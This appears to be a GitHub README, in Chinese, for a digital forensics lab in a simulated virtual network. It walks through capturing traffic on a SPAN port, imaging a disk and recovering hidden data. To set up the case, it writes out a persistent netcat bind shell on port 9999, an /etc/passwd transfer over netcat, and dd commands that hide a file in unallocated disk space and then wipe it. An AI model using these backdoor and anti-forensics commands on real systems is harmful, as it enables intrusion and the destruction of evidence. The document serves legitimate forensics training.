rafidCyber/digital_forensic_lab_project

GitHub: rafidCyber/digital_forensic_lab_project

Stars: 0 | Forks: 0

# 🔍 数字取证实验室项目 一个动手操作的数字取证实验室,演示使用模拟的多机网络环境进行**网络流量捕获**、**磁盘镜像**和**证据恢复**。 ## 📋 目录 - [概述](#overview) - [实验室环境](#lab-environment) - [网络拓扑](#network-topology) - [攻击与取证流程](#attack--forensics-flow) - [先决条件](#prerequisites) - [安装配置](#setup) - [实验室演练](#lab-walkthrough) - [1. 网络配置](#1-network-configuration) - [2. 安装后门](#2-installing-a-backdoor-simulated-attack) - [3. 网络流量捕获](#3-network-traffic-acquisition) - [4. 在未分配磁盘空间中隐藏证据](#4-hiding-evidence-in-unallocated-disk-space) - [5. 分析捕获的流量](#5-analyzing-captured-traffic) - [6. 磁盘镜像](#6-disk-acquisition) - [7. 证据恢复](#7-evidence-recovery) - [使用的工具](#tools-used) - [关键概念](#key-concepts) - [免责声明](#disclaimer) ## 🧪 概述 本实验室模拟了一个真实的数字取证调查场景,包含三个阶段: 1. **攻击阶段** — 攻击者通过后门入侵目标机器,并在未分配磁盘空间中隐藏文件 2. **采集阶段** — 取证工作站通过 SPAN 端口被动捕获所有网络流量并获取磁盘镜像 3. **分析阶段** — 分析捕获的流量和磁盘镜像,重建攻击过程并恢复隐藏的证据 ## 🖥️ 实验室环境 | 主机 | 角色 | 操作系统 | IP 地址 | |------|------|----------|---------| | `h1` | 被攻击机器 | Slackware Linux | `192.168.0.1` | | `h2` | 攻击机器 | OpenBSD | `192.168.0.2` | | `h3` | 取证工作站 | OpenBSD + 取证工具 | `192.168.0.3` *(采集阶段)* | | `br1` | 网络桥接器 | OpenBSD | — | ## 🌐 网络拓扑 ``` ┌──────────────────────────────────────┐ │ br1 (Bridge) │ │ │ │ vio0 (h1) vio1 (h2) vio2 (SPAN) │ └────┬──────────────┬──────────┬────────┘ │ │ │ │ │ Mirrors ALL │ │ traffic │ │ │ ┌───────┴──┐ ┌───────┴──┐ ┌───┴────────────┐ │ h1 │ │ h2 │ │ h3 │ │ (Victim) │ │(Attacker) │ │ (Forensics) │ │ │ │ │ │ │ │ Slackware │ │ OpenBSD │ │ OpenBSD │ │ Linux │ │ │ │ tcpdump/tshark │ │ │ │ │ │ tcpflow │ │192.168.0.1│ │192.168.0.2│ │ 192.168.0.3 │ └───────────┘ └───────────┘ └────────────────┘ ▲ │ │ │ Backdoor │ │ └────────────────┘ Captures packets & TCP port 9999 acquires disk image ``` ## 🔄 攻击与取证流程 ``` ┌─────────────────────────────────────────────────────────────────────┐ │ LAB FLOW │ └─────────────────────────────────────────────────────────────────────┘ [SETUP] │ ├─► Configure bridge (br1) with SPAN port pointing to h3 ├─► Assign IPs: h1 = 192.168.0.1 | h2 = 192.168.0.2 └─► Start passive capture on h3 (tcpdump → dump.lpc) │ ▼ [ATTACK PHASE — h2 compromises h1] │ ├─► h1: Install netcat backdoor on TCP port 9999 │ while true; do nc -lp 9999 -e /bin/bash; done & │ ├─► h2: Connect to backdoor │ nc -v 192.168.0.1 9999 │ ├─► h2 → h1: Transfer /etc/passwd via second channel (port 8888) │ nc -w4 192.168.0.1 8888 < /etc/passwd │ └─► h1: Hide file in unallocated disk space, then wipe & delete original dd if=./passwd.txt of=/dev/vda seek=2 conv=notrunc dd if=/dev/zero of=passwd.txt bs=1 count=3639 rm ./passwd.txt │ ▼ [ACQUISITION PHASE — h3 collects evidence] │ ├─► Stop tcpdump on h3 → dump.lpc saved ├─► Reconfigure br1: remove SPAN, add h3 as regular network port ├─► Assign IP to h3: 192.168.0.3 ├─► Boot h1 from trusted CD (Slackware ISO) — unmounted disk └─► Stream disk image: h1 ──dd──► gzip ──nc──► h3 (saved as vda.dd.gz) md5sum /dev/vda5 ← hash recorded BEFORE transfer │ ▼ [ANALYSIS PHASE — reconstruct the attack] │ ├─► Network analysis: tshark | tcpflow | tcpdump ├─► Decompress image: gunzip vda.dd.gz ├─► Verify integrity: md5 vda.dd (must match source hash) └─► Recover hidden file from unallocated space: dd if=./vda.dd of=passwd.txt bs=1 skip=1024 count=3639 md5 passwd.txt ← must match original md5 from h2 ``` ## ⚙️ 先决条件 - `vinetctl` — 虚拟网络拓扑管理 - `tcpdump` — 数据包捕获 - `tshark` — 流量分析(Wireshark 命令行) - `tcpflow` — TCP 流重组 - `netcat (nc)` — 网络工具 - `dd`, `gzip` — 磁盘镜像与压缩 - `md5` / `md5sum` — 完整性哈希 - `slack.iso` — 用于可信启动环境的 Slackware Linux 可启动 ISO ## 🚀 安装配置 ``` # 加载项目拓扑结构 vinetctl -f 536_proj set # 验证配置 vinetctl diag vinetctl cat # 启动所有虚拟机 vinetctl start # 连接虚拟机 vinetctl conn ``` ## 🔬 实验室演练 ### 1. 网络配置 **在 h1(受害者)上:** ``` ifconfig eth0 192.168.0.1 ``` **在 br1 — 配置带 SPAN 端口的桥接器:** ``` for i in 0 1 2; do ifconfig vio$i up; done ifconfig veb0 create ifconfig veb0 add vio0 add vio1 addspan vio2 up # vio0 → h1 | vio1 → h2 | vio2 → h3(SPAN 端口 — 镜像所有流量) ``` **在 h2(攻击者)上:** ``` ifconfig vio0 192.168.0.2 ``` ### 2. 安装后门(模拟攻击) 在 **h1** 上植入一个持久化的 netcat 后门: ``` while true; do nc -lp 9999 -e /bin/bash; done & ``` | 标志 | 用途 | |------|------| | `-lp 9999` | 监听 TCP 端口 9999 | | `-e /bin/bash` | 将 bash Shell 绑定到网络流 | | `while true` | 每次断开后自动重启 | 验证其是否正在运行: ``` netstat -ant # → 应显示处于 LISTEN 状态的 TCP 9999 端口 ``` ### 3. 网络流量捕获 在 **h3** 上 — 在攻击开始前启动被动捕获: ``` ifconfig vio0 up # Bring interface up (no IP needed) df -h # Check available disk space cd /home # Use directory with sufficient space (~1.8 GB) tcpdump -s 2000 -w dump.lpc -i vio0 # Begin capture ``` | 标志 | 含义 | |------|------| | `-s 2000` | 抓取长度 — 每个数据包捕获的字节数 | | `-w dump.lpc` | 将原始捕获写入文件 | | `-i vio0` | 监听 SPAN 端口接口 | ### 4. 在未分配磁盘空间中隐藏证据 **步骤 1 — h2 连接到 h1 上的后门:** ``` nc -v 192.168.0.1 9999 ``` **步骤 2 — 通过第二个通道(端口 8888)将 `/etc/passwd` 传输到 h1:** 在 h1 上(通过 Shell 会话): ``` nc -lp 8888 > passwd.txt # Open second listener; suspend with Ctrl+Z ``` 在 h2 上: ``` nc -w 4 192.168.0.1 8888 < /etc/passwd # Send the file md5 /etc/passwd # Note checksum for later verification ``` **步骤 3 — 确认传输,然后将文件隐藏在未分配磁盘空间中:** 在 h1 上(使用 `fg` 恢复会话): ``` ls # Confirm passwd.txt is present md5sum passwd.txt # Verify checksum matches fdisk -lu /dev/vda # Inspect disk layout / sector count # 从扇区 2 开始向未分配空间写入文件 dd if=./passwd.txt of=/dev/vda seek=2 conv=notrunc ``` **步骤 4 — 擦除并删除原始文件以掩盖踪迹:** ``` dd if=/dev/zero of=passwd.txt bs=1 count=3639 # Zero out file contents rm ./passwd.txt # Delete the file ls -a # Confirm deletion ``` ### 5. 分析捕获的流量 在 **h3** 上,停止捕获并进行分析: ``` # 使用 Ctrl+C 停止 tcpdump ls -l dump.lpc # 高层协议分析 tshark -nr ./dump.lpc -qz io,phs # 查看 ARP 流量 tcpdump -nr ./dump.lpc arp # TCP 会话摘要 tshark -nr ./dump.lpc -qz conv,tcp # 将所有 TCP 流有效载荷提取到独立文件 tcpflow -r dump.lpc -o outdir cd outdir/ file * # Identify file types cat # Inspect contents more # Page through longer output ``` ### 6. 磁盘镜像 **将 h1 启动到可信环境(CD):** ``` # 在 br1 上 — 分离(Ctrl+B 然后 D) sync # 终止 h1 vinetctl -F kill h1 vinetctl stat # 编辑 h1 配置: # display: serial → curses # cdrom: none → slack.iso vinetctl edit h1 # 重启 h1 并从 CD 引导 vinetctl start h1; vinetctl conn h1 stty rows 22 clear ``` **重新配置 br1 — 移除 SPAN,将 h3 提升为普通端口:** 在 br1 上: ``` ifconfig veb0 delspan vio2 # Remove h3 from SPAN port ifconfig veb0 add vio2 # Add h3 as a regular bridge port ``` 在 h3 上: ``` ifconfig vio0 192.168.0.3 ``` 在 h1 上: ``` ifconfig eth0 192.168.0.1 ping -c1 192.168.0.3 # Verify connectivity to h3 ``` **从 h1 获取磁盘镜像 — 通过流方式传输到 h3:** 在 h3 上(接收端): ``` nc -l 9999 > vda.dd.gz ``` 在 h1 上(发送端): ``` dd if=/dev/vda5 bs=4096 conv=noerror,sync | gzip | nc -w4 192.168.0.3 9999 # 传输前记录哈希值 — 建立证据链 md5sum /dev/vda5 ``` ### 7. 证据恢复 在 **h3** 上,验证完整性并恢复隐藏的文件: ``` ls -l vda.dd.gz gunzip vda.dd.gz ls -lh vda.dd # 验证哈希值与 h1 上记录的源哈希匹配 md5 ./vda.dd # 从未分配空间恢复隐藏文件 # (扇区 2 = 字节偏移 1024,文件大小 = 3639 字节) dd if=./vda.dd of=passwd.txt bs=1 skip=1024 count=3639 # 确认恢复文件与原始文件匹配 md5 passwd.txt # → 必须与隐藏之前在 h2 上记录的 md5 匹配 ``` ## 🛠️ 使用的工具 | 工具 | 用途 | |------|------| | `tcpdump` | 被动数据包捕获 | | `tshark` | 流量分析与协议解析 | | `tcpflow` | TCP 流负载提取 | | `netcat (nc)` | 后门、文件传输、磁盘镜像流式传输 | | `dd` | 原始磁盘镜像与数据提取 | | `gzip` | 传输过程中的压缩 | | `md5` / `md5sum` | 加密完整性校验 | | `fdisk` | 磁盘分区与扇区检查 | | `ifconfig` | 网络接口配置 | | `vinetctl` | 虚拟网络实验室管理 | ## 💡 关键概念 - **SPAN 端口** — 镜像交换机上所有流量至监控端口,实现被动捕获而不中断网络 - **证据链** — 传输前后记录的 MD5 哈希值证明获取的镜像是原始磁盘的完整、未经修改的副本 - **可信启动环境** — 从只读介质(CD/USB)启动确保被镜像磁盘未挂载且操作系统无法篡改证据 - **未分配空间** — 未分配给文件系统的磁盘扇区对操作系统不可见,但可使用 `dd` 等原始磁盘工具恢复 - **写保护** — 从未挂载的磁盘获取镜像可防止在成像过程中意外修改证据 ## ⚠️ 免责声明 https://github.com/0x404-network/digital-forensics-lab/blob/main/README.md https://github.com/0x404-network/digital-forensics-lab/blob/main/lab-environment.md https://github.com/0x404-network/digital-forensics-lab/blob/main/network-topology.md https://github.com/0x404-network/digital-forensics-lab/blob/main/attack-and-forensics-flow.md https://.com/0x404-network/digital-forensics-lab/blob/main/prerequisites.md https://github.com/0x404-network/digital-forensics-lab/blob/main/setup.md https://github.com/0x404-network/digital-forensics-lab/blob/main/lab-walkthrough.md https://github.com/0x404-network/digital-forensics-lab/blob/main/network-configuration.md https://github.com/0x404-network/digital-forensics-lab/blob/main/installing-a-backdoor.md https://github.com/0x404-network/digital-forensics-lab/blob/main/network-traffic-acquisition.md https://github.com/0x404-network/digital-forensics-lab/blob/main/hiding-evidence-in-unallocated-space.md https://github.com/0x404-network/digital-forensics-lab/blob/main/analyzing-captured-traffic.md https://github.com/0x404-network/digital-forensics-lab/blob/main/disk-acquisition.md https://github.com/0x404-network/digital-forensics-lab/blob/main/evidence-recovery.md https://github.com/0x404-network/digital-forensics-lab/blob/main/tools-used.md https://github.com/0x404-network/digital-forensics-lab/blob/main/key-concepts.md https://github.com/0x404-network/digital-forensics-lab/blob/main/disclaimer.md
标签:netcat后门, OS取证, SPAN端口, 取证实验室, 取证工具, 多机环境, 攻击模拟, 数字取证, 数据隐藏, 未分配空间, 流量捕获, 生成式AI安全, 磁盘取证, 磁盘获取, 磁盘镜像, 网络安全, 网络拓扑, 网络流量捕获, 自动化脚本, 虚拟机, 证据完整性, 证据恢复, 调查流程, 隐私保护, 隐藏数据, 驱动签名利用